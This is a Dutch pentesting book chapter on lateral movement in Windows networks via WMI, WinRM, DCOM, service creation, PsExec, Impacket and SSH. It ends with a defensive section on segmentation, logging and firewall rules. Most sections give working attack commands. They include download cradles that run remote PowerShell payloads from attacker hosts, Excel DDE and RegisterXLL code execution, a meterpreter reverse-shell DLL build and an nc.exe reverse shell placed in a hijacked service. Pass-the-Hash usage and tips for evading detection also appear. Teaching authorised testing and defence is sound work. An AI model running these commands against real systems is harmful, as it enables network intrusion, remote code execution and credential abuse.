Laterale Beweging

De kunst van het doorsluipen

Er is een heerlijk ouderwets beeld dat je misschien kent uit films over Victoriaanse inbrekers: een dief die niet via de voordeur binnenkomt, maar via de zolder van het ene rijhuis naar het andere klimt. Hij breekt door een dunne muur, kruipt over de balken, en staat ineens in de slaapkamer van de buurman. De politie staat beneden de originele ingang te bewaken, terwijl onze held drie huizen verderop in alle rust de kluis leeghaalt.

Dat is laterale beweging in een notendop.

In de wereld van penetratietesten begint alles met die ene machine. Misschien heb je via phishing een werkstation te pakken gekregen, misschien via een webapplicatie, misschien via een vergeten RDP-poort die nog openstond omdat “we die volgende sprint wel dichtgooien.” Het maakt niet uit. Je hebt een voet tussen de deur. Maar die ene machine is zelden het doel. Het doel is de domain controller, de database server, de fileserver met het intellectueel eigendom, het systeem waarop de salarisadministratie draait.

Om daar te komen moet je bewegen. Lateraal. Van machine naar machine, van subnet naar subnet, totdat je uiteindelijk staat waar je wilt staan.

En het mooie – of het tragische, afhankelijk van je perspectief – is dat de meeste netwerken dit belachelijk makkelijk maken. Want waarom zou je interne firewalls opzetten als iedereen toch te vertrouwen is? Waarom zou je segmenteren als het IT-budget al naar die nieuwe licenties gaat? Waarom zou je monitoren wat er binnen je netwerk gebeurt als je een mooie firewall aan de rand hebt?

Precies.

9.1 Waarom laterale beweging alles verandert

Laten we eerlijk zijn: als aanvaller ben je pas gevaarlijk zodra je kunt bewegen. Eén gecompromitteerd werkstation van een receptionist is vervelend, maar het is niet het einde van de wereld. Maar als die receptionist lokale admin-rechten heeft (en laten we eerlijk zijn, dat heeft ze waarschijnlijk omdat “anders kunnen we die ene printer niet installeren”), en haar wachtwoord wordt hergebruikt op drie andere machines, en die machines staan in hetzelfde VLAN als de domain controller… dan heb je een probleem.

Laterale beweging is het moment waarop een beveiligingsincident transformeert van “vervelend” naar “catastrofaal.” Het is het verschil tussen een gebroken raam en een volledig leeggeroofd huis.

In MITRE ATT&CK-termen zitten we nu in de Lateral Movement tactiek (TA0008). De technieken die we gaan behandelen zijn:

Elk van deze technieken heeft zijn eigen karakter, zijn eigen vereisten, en – cruciaal – zijn eigen detectieprofiel. Een goede pentester kiest niet zomaar een methode. Een goede pentester kiest de juiste methode voor de situatie.

Een incompetente pentester tikt psexec in en hoopt op het beste. Maar daar zijn we hopelijk voorbij.

9.2 WMI – Windows Management Instrumentation

De stille bureaucraat

WMI is een van die Windows-technologieen die niemand echt begrijpt, maar die al sinds Windows NT 4.0 meedraait. Het is alsof iemand in 1996 heeft gezegd: “We hebben een universeel management-protocol nodig waarmee je alles op afstand kunt doen,” en vervolgens is iedereen vergeten dat het bestaat – behalve aanvallers.

WMI communiceert via RPC op poort 135, gevolgd door dynamische poorten. Het gebruikt het Win32_Process class om processen aan te maken op een remote systeem. En het mooie is: WMI is volledig legitiem. Systeembeheerders gebruiken het dagelijks. Het is het digitale equivalent van de postbode die altijd welkom is – niemand controleert wat hij in zijn tas heeft.

De wmic-methode

De klassieke aanpak is via wmic op de command line:

wmic /node:TARGET_IP /user:DOMAIN\user /password:Password123! process call create "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')"

Dit commando doet precies wat je denkt: het maakt verbinding met het doelsysteem, authenticeert zich met de opgegeven credentials, en start een nieuw proces. In dit geval een PowerShell-proces dat een payload downloadt en uitvoert.

Merk op: je krijgt geen output terug. WMI via Win32_Process Create is blind execution. Je vuurt een commando af en hoopt dat het werkt. Het is alsof je een brief in een brievenbus gooit en wacht tot er iets terugkomt – zonder te weten of de brievenbus überhaupt in gebruik is.

PowerShell WMI

Voor meer controle kun je PowerShell gebruiken met Invoke-WmiMethod:

Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')' `
  -ComputerName TARGET `
  -Credential (Get-Credential)

De PowerShell-variant heeft het voordeel dat je de returnwaarde kunt controleren. Een returnwaarde van 0 betekent succes. Alles anders betekent dat je commando het niet gehaald heeft.

Hash-based WMI met Invoke-WMIExec

Als je geen plaintext wachtwoord hebt maar wel een NTLM hash (en na hoofdstuk 10 zul je er genoeg hebben), kun je Invoke-WMIExec gebruiken:

Import-Module .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target TARGET_IP -Domain DOMAIN `
  -Username user -Hash NTLM_HASH `
  -Command 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')'

Dit is Pass-the-Hash via WMI. Geen wachtwoord nodig, alleen de hash. En als je bedenkt hoeveel organisaties dezelfde lokale admin-wachtwoorden gebruiken op al hun werkstations… ja, dan snap je waarom laterale beweging zo effectief is.

CIM als modern alternatief

Microsoft heeft wmic.exe officieel deprecated verklaard in recente Windows-versies. Het moderne alternatief is CIM (Common Information Model) via PowerShell:

# CIM sessie opzetten (DCOM transport, werkt ook als WinRM uit staat)
$cimSession = New-CimSession -ComputerName TARGET `
  -SessionOption (New-CimSessionOption -Protocol Dcom) `
  -Credential $cred

# Process aanmaken via CIM
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine='powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')'} `
  -CimSession $cimSession

Het voordeel van CIM boven WMI: het ondersteunt zowel DCOM- als WinRM-transport. Met DCOM-transport werk je via dezelfde poorten als klassiek WMI (135 + dynamisch), maar met WinRM-transport ga je via poort 5985/5986. Dat geeft je flexibiliteit afhankelijk van wat open staat op het doelsysteem.

# CIM via WinRM transport
$cimSession = New-CimSession -ComputerName TARGET -Credential $cred
# (WinRM is standaard transport als je geen SessionOption opgeeft)

Detectie

WMI-activiteit genereert Event ID 4648 (Explicit Credential Logon) op het doelsysteem, plus Event ID 1 in Sysmon als process creation monitoring aanstaat. Kijk ook naar Event ID 5857 voor WMI provider-activiteit.

Het probleem voor blue teams: WMI is overal. SCCM gebruikt het, monitoring tools gebruiken het, custom scripts gebruiken het. Het scheiden van legitiem en kwaadaardig WMI-verkeer is als het zoeken naar een specifieke zandkorrel op het strand. Je weet dat hij er is, maar je hebt geen idee welke het is.

Specifieke detectie-indicatoren:

De sleutel voor detectie is de parent process: als je powershell.exe of cmd.exe ziet starten onder WmiPrvSE.exe, dan is dat bijna zeker een WMI-gebaseerde lateral movement.

9.3 WinRM en PowerShell Remoting

Het lievelingetje van systeembeheerders

Als WMI de stille bureaucraat is, dan is WinRM de extraverte projectmanager die overal binnenloopt en zegt: “Hé, laat mij dat even regelen!” Windows Remote Management draait op poort 5985 (HTTP) of 5986 (HTTPS) en is het fundament onder PowerShell Remoting.

En hier wordt het interessant: WinRM is standaard ingeschakeld op alle Windows Server-versies sinds 2012. Op werkstations staat het meestal uit, tenzij iemand het heeft aangezet – wat in veel organisaties het geval is omdat “we PowerShell Remoting nodig hebben voor ons deployment-script.”

Evil-WinRM – De Zwitserse zakmes

Vanuit Linux is Evil-WinRM de go-to tool. Het is de Ferrari onder de WinRM-clients:

# Basisverbinding met wachtwoord
evil-winrm -i TARGET_IP -u user -p 'Password123!'

# Met scripts en executables directory
evil-winrm -i TARGET_IP -u user -p 'Password123!' -s /opt/tools/ -e /opt/tools/

# Pass-the-Hash
evil-winrm -i TARGET_IP -u user -H NTLM_HASH

# Met Kerberos ticket
evil-winrm -i TARGET_IP -r DOMAIN.LOCAL

Evil-WinRM geeft je een volledig interactieve shell met ingebouwde upload/download-functionaliteit, module loading, en zelfs AMSI bypass-opties. Het is de tool waar je naar grijpt als je comfortabel wilt werken op een remote systeem.

Windows native: winrs

Als je al op een Windows-systeem zit, kun je winrs gebruiken zonder extra tools:

winrs -r:TARGET -u:DOMAIN\user -p:Password123! "powershell -ep bypass -c whoami;hostname"

Het nadeel van winrs is dat het een enkelvoudig commando uitvoert en de verbinding sluit. Het is alsof je iemand belt, één vraag stelt, en ophangt. Voor een interactieve sessie heb je PowerShell Remoting nodig.

PowerShell Remoting

PowerShell Remoting is gebouwd bovenop WinRM en biedt de meest flexibele laterale beweging die Windows native te bieden heeft:

# Credentials opzetten
$cred = New-Object System.Management.Automation.PSCredential(
    'DOMAIN\user',
    (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
)

# Interactieve sessie
Enter-PSSession -ComputerName TARGET -Credential $cred

Eenmaal in een PSSession heb je een volledig interactieve PowerShell-prompt op het remote systeem. Je kunt scripts uitvoeren, bestanden kopieeren, en alles doen wat je lokaal zou doen.

Maar het wordt pas echt krachtig met Invoke-Command:

# Eén commando op één target
Invoke-Command -ComputerName TARGET -Credential $cred `
  -ScriptBlock { whoami; hostname; ipconfig }

# Een script op meerdere targets tegelijk
Invoke-Command -ComputerName TARGET1,TARGET2,DC01 `
  -FilePath C:\Windows\tasks\script.ps1

# Download cradle remote uitvoeren
Invoke-Command -ComputerName TARGET -Credential $cred `
  -ScriptBlock {
    IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')
  }

Die laatste variant – Invoke-Command op meerdere targets – is goud waard. Je kunt in één klap een payload uitvoeren op tien, twintig, honderd machines. Het is de spreekwoordelijke bom in het postkantoor.

Persistent sessies

Een ondergewaardeerde feature van PS Remoting is de persistent sessie:

# Sessie aanmaken
$sess = New-PSSession -ComputerName TARGET -Credential $cred

# Later weer gebruiken
Enter-PSSession -Session $sess

# Of commando's uitvoeren via de sessie
Invoke-Command -Session $sess -ScriptBlock { Get-Process }

Dit is als een geheime tunnel die open blijft staan. Zolang de sessie actief is, hoef je niet opnieuw te authenticeren. Ideaal voor langdurige operaties.

Detectie

WinRM genereert Event ID 4648 en 4624 (Logon Type 3, Network). PowerShell Remoting daarbovenop genereert Event ID 4103 en 4104 (Script Block Logging) als dat is ingeschakeld, plus 53504 in het Microsoft-Windows-PowerShell/Operational log.

De realiteit? De meeste organisaties hebben PowerShell Script Block Logging niet aan. Het staat standaard uit. Je moet het expliciet inschakelen via Group Policy. En zelfs als het aan staat, genereert het zoveel data dat niemand het leest.

9.4 DCOM – Distributed Component Object Model

Het stoffige protocol dat weigert te sterven

DCOM. Als je een technologie zoekt die perfect het DNA van Microsoft weerspiegelt – backward compatibility boven alles, security als afterthought – dan is DCOM je kandidaat. Het stamt uit de jaren ’90, het was ooit de toekomst van gedistribueerd computing, en het weigert simpelweg om met pensioen te gaan.

DCOM staat standaard aan op elk Windows-systeem. Het gebruikt poort 135 plus dynamische RPC-poorten. En het biedt een aantal COM-objecten waarmee je op afstand processen kunt aanmaken. Niet omdat dat de bedoeling was, maar omdat niemand eraan gedacht heeft om het te voorkomen.

Het is alsof je een huissleutel verstopt in een bloempot bij de voordeur. Iedereen weet dat mensen dat doen, maar niemand doet er iets aan.

MMC20.Application

Het meest gebruikte DCOM-object voor laterale beweging is MMC20.Application. De Microsoft Management Console. Ooit bedoeld om servers te beheren, nu misbruikt om shells te spawnen:

$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID('MMC20.Application','TARGET')
)
$com.Document.ActiveView.ExecuteShellCommand(
    'powershell',
    $null,
    '-ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    '7'
)

Lees dat nog eens. We maken een verbinding met de Microsoft Management Console op een remote systeem en zeggen: “Hé, voer dit shell-commando even uit.” En MMC zegt: “Ja hoor, geen probleem.” Geen extra authenticatie, geen waarschuwing, geen “weet je zeker dat je dit wilt doen?” Gewoon: alsjeblieft, hier is je shell.

ShellWindows en ShellBrowserWindow

Er zijn meer DCOM-objecten die misbruikt kunnen worden:

# ShellWindows
$com = [activator]::CreateInstance(
    [type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39','TARGET')
)
$item = $com.Item()
$item.Document.Application.ShellExecute(
    'cmd.exe',
    '/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    'C:\Windows\tasks',
    '',
    0
)

# ShellBrowserWindow
$com = [activator]::CreateInstance(
    [type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880','TARGET')
)
$com.Document.Application.ShellExecute(
    'powershell',
    '-ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')',
    'C:\Windows\tasks',
    '',
    0
)

Elke variant heeft subtiele verschillen in hoe het proces wordt gestart en onder welk parent process het draait. Dat is relevant voor detectie: als cmd.exe ineens een child process is van explorer.exe via een DCOM-call, dan zou dat alarmbellen moeten laten rinkelen. Maar dat vereist dat iemand die alarmbellen heeft geinstalleerd.

Excel DCOM – Als Office een wapen wordt

En dan is er nog de Excel-variant. Dit is waar het echt absurd wordt. Als Microsoft Office is geinstalleerd op het doelsysteem – en op hoeveel werkstations is dat niet het geval? – kun je Excel.Application misbruiken via DCOM:

# Excel.Application remote instantieren
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", "TARGET_IP")
)
$com.DisplayAlerts = $false
$wb = $com.Workbooks.Add()
$ws = $wb.Worksheets.Item(1)

# Code execution via DDE in een cel
$ws.Cells.Item(1,1).Value = "=cmd|'/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/shell.ps1'')'|"
$ws.Cells.Item(1,1).Activate()

Je leest het goed. We openen Excel op afstand, maken een nieuw werkblad, zetten een DDE-formule in een cel, en die formule voert een commando uit. Het is alsof je een bom verstopt in een spreadsheet. En het wordt nog mooier:

# DDEInitiate methode
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", "TARGET_IP")
)
$com.DDEInitiate("cmd", "/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')")

# RegisterXLL -- DLL laden via Excel
# Eerst: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f dll -o evil.xll
$com = [activator]::CreateInstance(
    [type]::GetTypeFromProgID("Excel.Application", "TARGET_IP")
)
$com.RegisterXLL("\\ATTACKER_IP\share\evil.xll")

De RegisterXLL-methode is bijzonder elegant: je laat Excel een DLL laden vanaf een netwerkshare. Die DLL kan alles bevatten – een reverse shell, een beacon, een volledige RAT. Excel laadt het braaf in, geen vragen gesteld.

DCOM vereisten

Even een praktische samenvatting:

Detectie

DCOM genereert opvallend weinig logs vergeleken met WMI of PsExec. Er is geen standaard Windows Event ID specifiek voor DCOM laterale beweging. Je moet Sysmon Event ID 1 (Process Creation) monitoren en kijken naar ongewone parent-child process relationships.

Als mmc.exe ineens powershell.exe start op een server waar niemand handmatig een MMC-console opent, is dat verdacht. Maar je moet wel weten waar je naar zoekt.

9.5 Service Control Manager – De vergeten dienst

Services als Trojaans paard

De Windows Service Control Manager (SCM) is het mechanisme waarmee services worden aangemaakt, gestart, gestopt en verwijderd. En het werkt op afstand. Via SMB op poort 445 en RPC op poort 135 kun je een service aanmaken op een remote systeem, die service een willekeurig commando laten uitvoeren, en hem daarna weer verwijderen.

Het is alsof je bij iemands huis binnenloopt, een nep-waterleidingbedrijf opricht in hun kelder, het lood uit de muren trekt, en het bedrijf weer opheft voordat iemand het merkt.

Service aanmaken en starten

De klassieke methode met sc.exe:

:: Stap 1: Service aanmaken op remote target
sc \\TARGET create evilsvc binPath= "cmd.exe /c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')"

:: Stap 2: Service starten
sc \\TARGET start evilsvc

:: Stap 3: Opruimen (ALTIJD doen!)
sc \\TARGET delete evilsvc

Let op die spatie na binPath=. Die is verplicht. Het is een van die charmante Windows-eigenaardigheden die ervoor zorgen dat je de eerste drie keer denkt dat je iets fout doet, terwijl het gewoon slechte syntax-design is.

Een belangrijk detail: als je binPath verwijst naar iets dat geen echte Windows service is (en dat is bijna altijd het geval bij laterale beweging), dan zal de service na ongeveer 30 seconden een timeout geven. De service start, voert je commando uit, en crasht dan omdat het niet het juiste service-protocol volgt. Maar tegen die tijd is je payload allang geladen.

Bestaande service kapen

Een stealthier variant is het overschrijven van een bestaande service:

:: Stap 1: binPath overschrijven
sc \\TARGET config bestaandeservice binPath= "cmd.exe /c C:\Windows\tasks\nc.exe 10.0.0.1 443 -e cmd.exe"

:: Stap 2: Service herstarten
sc \\TARGET stop bestaandeservice
sc \\TARGET start bestaandeservice

Dit is gevaarlijk maar effectief. Je overschrijft de binary path van een bestaande service, herstart hem, en je commando wordt uitgevoerd. Het nadeel: als je vergeet de originele binPath terug te zetten, heb je een productie-service kapotgemaakt. Dat is niet alleen slechte OPSEC, dat is ook een goede manier om je opdrachtgever boos te maken.

PsExec – Onder de motorkap

Hier is iets dat veel mensen niet weten: PsExec doet precies hetzelfde als wat we hierboven handmatig doen. Het kopieert een executable naar de ADMIN$ share van het doelsysteem, maakt een service aan die die executable start, en ruimt alles weer op als je klaar bent.

.\PsExec64.exe \\TARGET -u DOMAIN\user -p Password123! -accepteula cmd.exe

Het verschil is dat PsExec dit allemaal netjes voor je verpakt in een enkel commando. Het is de IKEA-versie van service-based laterale beweging: alle onderdelen zitten in de doos, je hoeft alleen de instructies te volgen.

powershell -c (new-object System.Net.WebClient).DownloadFile('http://10.0.0.1/tools/PsExec64.exe','c:\windows\tasks\PsExec64.exe')

PsExec – Hoe het werkt onder de motorkap

Het is nuttig om precies te begrijpen wat PsExec doet, stap voor stap:

1. Verbinding maken met de ADMIN$ share (\\TARGET\ADMIN$) via SMB op poort 445
2. Executable kopieren naar C:\Windows\ op het doelsysteem
3. Service aanmaken via de Service Control Manager (RPC op poort 135)
4. Service starten – de executable wordt uitgevoerd als SYSTEM
5. Named pipe opzetten voor stdin/stdout communicatie
6. Opruimen – service stoppen, service verwijderen, executable verwijderen

Dat zijn zes stappen die elk afzonderlijke log entries genereren. Het is de reden waarom PsExec de meest gedetecteerde lateral movement-techniek is. Zes keer een alarmbel, zes kansen voor detectie. En toch gebruiken mensen het dagelijks.

De ironie: Sysinternals PsExec was nooit bedoeld als hacking-tool. Het was een legitieme systeembeheertool. Mark Russinovich bouwde het zodat sysadmins op afstand commando’s konden uitvoeren. Het feit dat het nu symbool staat voor laterale beweging zegt meer over de staat van netwerkbeveiliging dan over de tool zelf.

Impacket psexec.py

Vanuit Linux kun je de Impacket-variant gebruiken:

# Met wachtwoord
python3 psexec.py DOMAIN/user:'Password123!'@TARGET_IP

# Met NTLM hash (Pass-the-Hash)
python3 psexec.py DOMAIN/user@TARGET_IP -hashes :NTLM_HASH

# Met Kerberos ticket
export KRB5CCNAME=/tmp/krb5cc_user
python3 psexec.py DOMAIN/user@TARGET -k -no-pass

Impacket’s psexec.py is flexibeler dan de Sysinternals-variant: het ondersteunt Pass-the-Hash en Kerberos-authenticatie out of the box.

Detectie

PsExec en SCM laterale beweging genereren een hoop logs:

• Event ID 7045 (Service Installation) – dit is je smoking gun
• Event ID 4697 (Service Installation, Security log)
• Event ID 4648 (Explicit Credential Logon)
• Event ID 5140 (Network Share Access – ADMIN$)
• Sysmon Event ID 1 met verdachte process trees

PsExec is luid. Het is de marching band van laterale beweging-technieken. Als een organisatie iets monitort, detecteert het waarschijnlijk PsExec. Daarom gebruiken ervaren pentesters het als laatste optie, niet als eerste.

9.6 IB Screen Terminal – Interactieve sessies opnemen

Incompetent Bastard heeft een ingebouwde screen terminal-functionaliteit die gebouwd is bovenop asciinema-achtige recording. Dit is niet direct een lateral movement-techniek, maar het is essentieel voor je workflow.

Wanneer je een interactieve sessie hebt op een remote systeem – via Evil-WinRM, PSSession, of een reverse shell – kun je die sessie opnemen via het IB dashboard. Elke toetsaanslag, elke output, elke foutmelding wordt vastgelegd.

Dit is om drie redenen belangrijk:

1. Bewijs: Je opdrachtgever wil zien wat je gedaan hebt. Een recording is onweerlegbaar bewijs.
2. Reproduceerbaarheid: Als je drie weken later moet uitleggen hoe je van werkstation A naar de domain controller bent gekomen, is een recording beter dan “ik geloof dat ik WMI heb gebruikt, of was het DCOM?”
3. Leren: Ga na een assessment je recordings terug kijken. Je zult verbaasd zijn hoeveel tijd je besteedt aan typo’s en het opzoeken van syntax.

9.7 SSH – Laterale beweging in gemengde omgevingen

Windows heeft tegenwoordig ook SSH

Een veelgemaakte fout bij pentesters: ze vergeten dat moderne Windows-versies (Windows 10 1809+, Server 2019+) OpenSSH als optionele feature bevatten. En in veel organisaties is het ingeschakeld, vooral op servers waar Linux-beheerders ook toegang nodig hebben.

# SSH naar Windows target
ssh DOMAIN\\user@TARGET_IP

# Via ProxyChains als je door een tunnel werkt
proxychains ssh user@TARGET_IP

SSH is interessant voor laterale beweging om twee redenen:

1. Het is versleuteld: De inhoud van je sessie is niet zichtbaar voor netwerk monitoring tools. IDS/IPS-systemen zien verkeer op poort 22, maar niet wat erin zit.
2. Het is verwacht: In gemengde omgevingen (Windows + Linux) is SSH-verkeer normaal. Het valt niet op.

Impacket – De gereedschapskist voor Linux-aanvallers

Impacket verdient een aparte vermelding, want het is niet zomaar een tool – het is een complete bibliotheek van Python-implementaties van Windows-netwerkprotocollen. En het bevat meerdere lateral movement-tools:

# psexec.py -- PsExec via Impacket
python3 psexec.py DOMAIN/user:'Password123!'@TARGET

# smbexec.py -- Stealthier dan psexec, geen bestanden op ADMIN$
python3 smbexec.py DOMAIN/user:'Password123!'@TARGET

# wmiexec.py -- WMI execution, semi-interactief
python3 wmiexec.py DOMAIN/user:'Password123!'@TARGET

# atexec.py -- Scheduled task execution
python3 atexec.py DOMAIN/user:'Password123!'@TARGET 'whoami'

# dcomexec.py -- DCOM execution
python3 dcomexec.py DOMAIN/user:'Password123!'@TARGET

# Alle tools ondersteunen Pass-the-Hash:
python3 wmiexec.py DOMAIN/user@TARGET -hashes :NTLM_HASH

# En Kerberos:
export KRB5CCNAME=/tmp/krb5cc_user
python3 psexec.py DOMAIN/user@TARGET -k -no-pass

De keuze tussen Impacket-tools is een afweging tussen functionaliteit en stealth:

wmiexec.py is de favoriet voor stealthy operaties: het gebruikt WMI voor command execution en schrijft output naar een tijdelijk bestand op de ADMIN$ share dat direct wordt opgehaald en verwijderd. Het maakt geen services aan en dropt geen executables.

Het kiezen van de juiste tool

Hier is een beslisboom die je in de praktijk kunt gebruiken:

Heb je WinRM (5985/5986) beschikbaar?
├── Ja → Evil-WinRM (volledig interactief, upload/download)
└── Nee
    Heb je SMB (445) beschikbaar?
    ├── Ja → Is stealth belangrijk?
    │   ├── Ja → wmiexec.py (WMI, minimale artefacten)
    │   └── Nee → psexec.py (betrouwbaar, interactief)
    └── Nee
        Heb je alleen RPC (135)?
        ├── Ja → DCOM of WMI (PowerShell native)
        └── Nee
            Heb je SSH (22)?
            ├── Ja → SSH
            └── Nee → Je hebt een tunneling-probleem (zie H13)

9.8 Authenticatiemethoden – Wachtwoord, hash, of ticket?

Een belangrijk aspect van laterale beweging dat beginners vaak over het hoofd zien: je hoeft niet altijd een plaintext wachtwoord te hebben. Er zijn drie authenticatiemethoden:

Pass-the-Password

De simpelste: je kent het wachtwoord en gebruikt het:

evil-winrm -i TARGET -u user -p 'Password123!'
python3 psexec.py DOMAIN/user:'Password123!'@TARGET

Pass-the-Hash (PtH)

Je kent het wachtwoord niet, maar je hebt de NTLM hash (zie hoofdstuk 10):

evil-winrm -i TARGET -u user -H e53d87d42adaa3ca32bdb34a876cbffb
python3 psexec.py DOMAIN/user@TARGET -hashes :e53d87d42adaa3ca32bdb34a876cbffb

Pass-the-Hash werkt met NTLM-authenticatie. Het is mogelijk omdat het NTLM-protocol de hash zelf als authenticatie-bewijs gebruikt, niet het wachtwoord. Het wachtwoord is slechts het middel om de hash te berekenen. Als je de hash hebt, is het wachtwoord overbodig.

Dit is een fundamenteel ontwerpprobleem in NTLM dat al decennia bekend is. Microsoft’s oplossing? Kerberos. Maar NTLM wordt nog steeds breed ondersteund voor backward compatibility. Omdat backward compatibility boven beveiliging gaat. Altijd.

Pass-the-Ticket (PtT)

Je hebt een Kerberos ticket (TGT of service ticket), verkregen via Rubeus, Mimikatz, of Kerberoasting:

export KRB5CCNAME=/tmp/krb5cc_user
python3 psexec.py DOMAIN/user@TARGET -k -no-pass
evil-winrm -i TARGET -r DOMAIN.LOCAL

Pass-the-Ticket is stealthier dan PtH omdat het Kerberos gebruikt in plaats van NTLM. Veel detectieregels zijn gericht op NTLM-gebaseerde aanvallen. Kerberos-verkeer is normaler en moeilijker te onderscheiden van legitiem gebruik.

De keuze tussen deze methoden hangt af van wat je hebt en wat je wilt bereiken:

9.9 OPSEC – Welke methode is het stilste?

“De beste inbreker is niet degene met het beste gereedschap. Het is degene die het minste lawaai maakt.” – Niemand heeft dit ooit gezegd, maar het had gekund.

Dit is de vraag die elke pentester zich zou moeten stellen: als ik van punt A naar punt B wil, welke methode genereert de minste detecteerbare artefacten?

Hier is een eerlijke vergelijking:

De ironie is dat de meest gebruikte methode (PsExec) ook de luidruchtigste is. Het is alsof inbrekers alleen de voordeur intrappen terwijl het raampje in de badkamer openstaat. Maar PsExec is makkelijk, iedereen kent het, en “het werkte de vorige keer ook.”

Mensen kiezen niet de beste methode, ze kiezen de methode die ze kennen. En dan zijn ze verbaasd als ze gepakt worden. Dat is geen ongeluk, dat is luiheid met extra stappen.

OPSEC tips per methode

WMI: - Vermijd wmic.exe – het wordt gemonitord. Gebruik PowerShell Invoke-WmiMethod of Invoke-CimMethod. - Gebruik hashes in plaats van plaintext wachtwoorden waar mogelijk.

WinRM: - Evil-WinRM over HTTPS (poort 5986) als dat beschikbaar is. - Gebruik Kerberos-authenticatie in plaats van NTLM om Pass-the-Hash detectie te voorkomen.

DCOM: - Wissel af tussen objecten (MMC, ShellWindows, ShellBrowserWindow) om pattern detection te voorkomen. - DCOM genereert weinig logs, maar ongewone parent-child relationships zijn een red flag.

SCM/PsExec: - Alleen gebruiken als andere methoden niet werken. - Randomiseer servicenamen – evilsvc is niet subtiel. - Ruim services ALTIJD op na gebruik.

9.10 Verdediging – Hoe voorkom je dit?

Laten we even de pet omdraaien en kijken wat verdedigers kunnen doen. Want tot nu toe is het een vrij deprimerend beeld – bijna alles werkt bijna altijd.

Network segmentation

Dit is het belangrijkste en het meest genegeerde verdedigingsmechanisme. Als werkstations niet met andere werkstations kunnen praten, is laterale beweging dood. Zo simpel is het.

Maar – en hier komt de ongemakkelijke waarheid – segmentatie kost geld, kost tijd, en maakt het leven van systeembeheerders moeilijker. Dus in plaats van te segmenteren, kiezen organisaties voor “monitoring.” Alsof het installeren van een bewakingscamera een alternatief is voor een slot op de deur.

In een goed gesegmenteerd netwerk: - Werkstations kunnen niet met andere werkstations communiceren - Servers zitten in aparte VLANs met strikte firewall-regels - Management-verkeer (WMI, WinRM, RDP) gaat via dedicated management VLANs - De domain controller is alleen bereikbaar vanaf specifieke jump-hosts

Credential Guard

Windows Credential Guard gebruikt virtualization-based security om LSASS te beschermen. Als Credential Guard actief is, kunnen tools als Mimikatz geen plaintext wachtwoorden uit het geheugen halen. Het is een van de meest effectieve verdedigingen tegen credential theft en daarmee tegen laterale beweging.

Het probleem: Credential Guard vereist specifieke hardware (UEFI Secure Boot, TPM 2.0) en breekt sommige legacy-applicaties. Dus wordt het “op de roadmap gezet” en vervolgens vergeten.

Beperking van lokale admin-rechten

Als gebruikers geen lokale admin zijn op hun werkstation, werkt het merendeel van deze technieken niet. WMI, DCOM, SCM, PsExec – ze vereisen allemaal lokale admin-rechten op het doelsysteem.

Gebruik LAPS (Local Administrator Password Solution) om ervoor te zorgen dat elk werkstation een uniek lokaal admin-wachtwoord heeft. Geen hergebruik van wachtwoorden betekent geen laterale beweging via gecompromitteerde lokale accounts.

Monitoring

Als je dan toch gaat monitoren, monitor dan het juiste:

# Windows Event IDs om te monitoren
4648  - Explicit Credential Logon (alle lateral movement)
4624  - Logon Type 3 (Network Logon)
7045  - Service Installation (PsExec/SCM)
4697  - Service Installation (Security log)
5140  - Network Share Access (ADMIN$, C$)
4103  - PowerShell Module Logging
4104  - PowerShell Script Block Logging

Sysmon is essentieel:

Event ID 1  - Process Creation (parent-child relationships)
Event ID 3  - Network Connection
Event ID 11 - File Creation
Event ID 13 - Registry Modification

Protected Users group

De Protected Users security group in Active Directory voorkomt dat credentials worden gecached op systemen waarop een lid inlogt. Voeg alle gevoelige accounts toe – domain admins, service accounts met hoge rechten – en je beperkt de schade als een werkstation wordt gecompromitteerd.

Windows Firewall – De vergeten verdediger

Een verrassend effectieve maar zelden gebruikte verdediging: de Windows Firewall. Niet de firewall aan de rand van het netwerk, maar de lokale Windows Firewall op elk werkstation.

# Blokkeer SMB (445) inbound op werkstations
New-NetFirewallRule -DisplayName "Block SMB Inbound" `
  -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block

# Blokkeer WinRM (5985/5986) inbound op werkstations
New-NetFirewallRule -DisplayName "Block WinRM Inbound" `
  -Direction Inbound -LocalPort 5985,5986 -Protocol TCP -Action Block

# Blokkeer RPC endpoint mapper (135) inbound op werkstations
New-NetFirewallRule -DisplayName "Block RPC Inbound" `
  -Direction Inbound -LocalPort 135 -Protocol TCP -Action Block

Als werkstations deze poorten niet accepteren, werkt geen enkele lateral movement-techniek in dit hoofdstuk. Geen WMI, geen DCOM, geen WinRM, geen PsExec. Het is de simpelste en meest effectieve verdediging die er is. En toch doen de meeste organisaties het niet.

